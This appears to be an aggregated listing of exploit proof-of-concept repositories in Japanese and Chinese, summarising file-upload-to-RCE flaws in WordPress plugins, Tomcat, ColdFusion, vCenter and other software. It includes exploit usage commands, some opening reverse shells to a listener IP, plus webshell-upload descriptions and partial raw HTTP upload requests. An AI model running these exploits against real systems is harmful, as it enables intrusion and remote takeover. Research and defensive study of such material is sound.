CVE-2019-2618-

CVE-2019-2618-脆弱性検査ツール プロンプトに従って、サーバーのURL、ユーザー名、パスワードを順に入力してください。 例：python3 CVE-2019-2618test.py http://127.0.0.1 root root123 コードはレスポンスの本文を返します。本文に含まれるURLから、アップロードが成功したかどうかを確認できます。 プログラム内でアップロードされるファイル名は "test.jsp" です。 正常にアップロードされた場合、test.jsp には "CVE-2019-2618testsucceed" と表示されます。...

CVE-2024-50623

CVE-2024-50623 Cleo の制限なしファイルアップロード・ダウンロードの PoC CVE-2024-50623 任意ファイル書き込み root@kitploit: python CVE-2024-50623.py --target http://192.168.1.18:5080/Synchronization --action write --what poc.dll --where "........\poc.dll" / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y | | \ /...

CVE-2026-0740

CVE-2026-0740 Ninja Forms File Uploads = 3.3.26 - 未认证的任意文件上传导致远程代码执行 针对 CVE-2026-0740 的利用脚本，该漏洞由 Selim Lanouar whattheslime 发现。 如需完整的技术深入分析，请阅读 Lexfo 博客上的完整文章。 免责声明 本仓库仅用于研究与防御性安全目的 。 作者不对滥用此信息的行为承担任何责任。 概述 WordPress 插件 Ninja Forms - File Uploads 存在未认证的任意文件上传 漏洞，可在所有版本（包括 3.3.26 及更早版本）中导致远程代码执行 。...

juniper-rce_cve-2023-36844

CVE-2023-36844 , CVE-2023-36845 , CVE-2023-36846 , CVE-2023-36847 CVE CVE-2023-36844, CVE-2023-36845, CVE-2023-36846, CVE-2023-36847 を連鎖させ、Juniper JunOSのSRXおよびEXシリーズ製品でリモートコード実行を実現するための概念実証（PoC）を @watchTowr が開発しました。 セキュリティ研究については watchTowr Labs チームをフォローしてください https://labs.watchtowr.com/...

CVE-2022-25581

CVE-2022-25581 インターネット上でどこを探しても見つからないため、バックアップを残しておきます。Python エクスプロイトスクリプト 。以下の手順を自動的に実行するためのものです： ✅ スクリプトの機能目標 1. バックエンドにログインする（csrf と token を取得する） 2. 悪意のあるリクエストパケットを構築し、圧縮ファイル（webshell を含む）をアップロードする 3. アップロードした webshell にアクセスして制御権限を取得する（GET shell） 🧾 前提条件 対象環境：ClassCMS 2.4 Webサーバー：PHP 5.5 + MySQ...

cve-2023-2523-and-cve-2023-2648

cve-2023-2523 注記：スクリプトはphpinfoファイルをアップロードします 使用方法： 結果は自動的にresult.txtファイルに保存されます 画像 手動POC： root@kitploit: POST /E-mobile/App/Ajax/ajax.php?action=mobileuploadsave HTTP/1.1 Host: your-ip Content-Length: 352 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: null Content-Type:...

CVE-2026-48907

CVE-2026-48907 CVE-2026-48907 は、Joomla 用の JCE エディタ拡張機能における重大な不適切なアクセス制御の脆弱性です。これにより、認証されていない攻撃者が新しいエディタプロファイルを作成でき、最終的には影響を受けるシステム上で任意の PHP ファイルのアップロードとリモートコード実行につながる可能性があります。 また、ウェブシェルが必要な場合は、任意のウェブシェルを使用して、alfa.php に名前を変更するか、カスタマイズした名前の PHP を使用できます。ただし、Python コード内の名前を変更する必要があるので、あとは自由に楽しんでください。...

CVE-2018-15961

CVE-2018-15961 Adobe ColdFusion中的无限制文件上传 root@kitploit: POST /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm HTTP/1.1 Host: coldfusion:port User-Agent: Mozilla/5.0 Windows NT 10.0; WOW64 AppleWebKit/537.36 KHTML, like Gecko Chrome/62.0.3202.9 Safari/537.36 Content-Type:...

CVE-2024-50379-POC

CVE-2024-50379 の悪用とPOC このリポジトリは、Apache Tomcat に影響を与える脆弱性 CVE-2024-50379 の Proof of Concept（POC）を提供します。この問題は Time-of-Check Time-of-Use（TOCTOU）競合状態 を引き起こし、特に Windows のような大文字小文字を区別しないファイルシステム上で リモートコード実行（RCE） につながる可能性があります。 目次 説明 POC 使用方法 セキュリティに関する考慮事項 ライセンス 説明 CVE-2024-50379 は、TOCTOU...

CVE-2024-46377

CVE-2024-46377 针对 Best House Rental Management System 1.0 中任意文件上传漏洞的 PoC 概述 该 Python 脚本演示了如何利用 Best House Rental Management System 1.0 中的任意文件上传漏洞。该漏洞允许攻击者上传恶意文件（例如 PHP Web Shell）并在目标服务器上执行任意命令。 使用方法 1. 克隆仓库并进入目录： root@kitploit: git clone https://github.com/yourusername/house-rental-poc.git cd...

cve-2025-0364

CVE-2025-0364: BigAntSoft BigAnt Server アカウント登録バイパスからファイルアップロードRCE BigAntSoft BigAnt Serverは、Windows上でホストされるオンプレミスのビジネス向けチャットサーバーであり、アカウント登録とPHPファイルアップロードを介した認証不要のリモートコード実行の脆弱性があります。この脆弱性は、デフォルトで公開されているSaaS登録機能を悪用し、攻撃者は簡単なCAPTCHAを解いて管理者ユーザーを作成し、Cloud Storage...

CVE-2021-22005

CVE-2021-22005-metasploit 关于 CVE-2021-22005 VMware vCenter Server 任意文件上传漏洞的 metasploit 脚本（POC/EXP） 准备 POC root@kitploit: git clone https://github.com/TaroballzChen/CVE-2021-22005-metasploit cd CVE-2021-22005-metasploit mkdir -p /.msf4/modules/auxiliary/scanner/http cp...

cve-2019-11447

CVE-2019-11447 CutePHP Cute News 2.1.2 RCE PoC 目标： 2.1.2 这个PoC脚本基于BobbySox 原始漏洞利用的简单实现。原始漏洞利用是Akuss 编写的MSF模块。 该脚本需要目标IP地址或域名以及凭据，它会自动登录、上传载荷、触发并捕获反弹shell。 root@kitploit: python cve-2019-11447.py -t 10.10.10.206 -u twh -p p4ssw0rd -lh 10.10.16.2 -lp 4444 -f shell...

wso2-rce-cve-2022-29464

CVE-2022-29464 WSO2 RCE（CVE-2022-29464）エクスプロイト。 詳細 CVE-2022-29464は、Orange Tsai氏によって発見されたWSO2の重大な脆弱性です。この脆弱性は、認証を必要としない無制限の任意ファイルアップロードであり、認証されていない攻撃者が悪意のあるJSPファイルをアップロードすることでWSO2サーバー上でRCEを獲得することを可能にします。...

CVE-2025-45955

CVE-2025-45955 DonWeb Ferozo におけるサーバーサイドリクエストフォージェリ CVE-2025-45955 説明 攻撃者は、Ferozo ホスティングプラットフォーム上に特別に細工された PHP ファイルをアップロードして実行することで、この脆弱性を悪用できます。このファイルにアクセスすると、内部サービス（127.0.0.1、169.254.169.254、サービスメッシュエンドポイントなど）、ローカルファイル（例：file:///etc/passwd）、および既知のクラウドメタデータエンドポイントを標的とする一連の SSRF...

cve-2023-41564-research

CVE-2023-41564脆弱性概要 CVE-2023-415641はCockpitというCMS= v2.6.3に存在する蓄積型XSSの脆弱性です。 ファイルアップロード時に.shtml拡張子のHTMLファイルをアップロードすると、そのアップロードされたファイルを開いた瞬間にJavaScriptが実行されてしまうというものです。 1: https://nvd.nist.gov/vuln/detail/CVE-2023-41564 攻撃成立の流れ まず初めに、脆弱性の報告者と思われる方が公開しているPoC2を基に攻撃手法を解説していきます。...

CVE-2025-31324

CVE-2025-31324 这是一个为利用 CVE-2025-31324 而开发的概念验证代码。 用法 root@kitploit: usage: python CVE-2025-31324.py --help SAP NetWeaver Visual Composer Metadata Uploader = 7.50 CVE-2025-31324 PoC positional arguments: FILE local file to upload optional arguments: -h, --help show this help message and exit --htt...

CVE-2025-47577

CVE-2025-47577 CVE-2025-47577を悪用するために開発された概念実証です。PatchStackの記事に基づいています。 Usage root@kitploit: usage: python CVE-2025-47577.py --help TI WooCommerce Wishlist WordPress plugin = 2.9.2 CVE-2025-47577 PoC positional arguments: FILE local file to upload URLPATH base path of the wish list PRODUCTID ID o...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 リバースシェルアップロード h3v0x 氏による エクスプロイト に基づいた WpDiscuz 7.0.4 用のエクスプロイト。 脆弱性を悪用し、リバース PHP シェルをアップロードします。着想は Blogger CTF から得ました。 exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001 使用例:...

CVE-2025-6002

针对 CVE-2025-6002 的漏洞利用 该脚本利用 VirtueMart 4.4.10 中经过认证的任意文件上传漏洞（CVE-2025-6002），该漏洞在这篇博客文章中有所描述：https://blog.blacklanternsecurity.com/p/doomla-zero-days 该脚本使用给定的凭据登录 VirtueMart，创建一个新产品，并将一个 PHP webshell 作为媒体文件上传。随后，它会向所提供的 IP/端口发起一个反弹 shell。 参数： --url: VirtueMart 的 URL --username: 管理员用户名...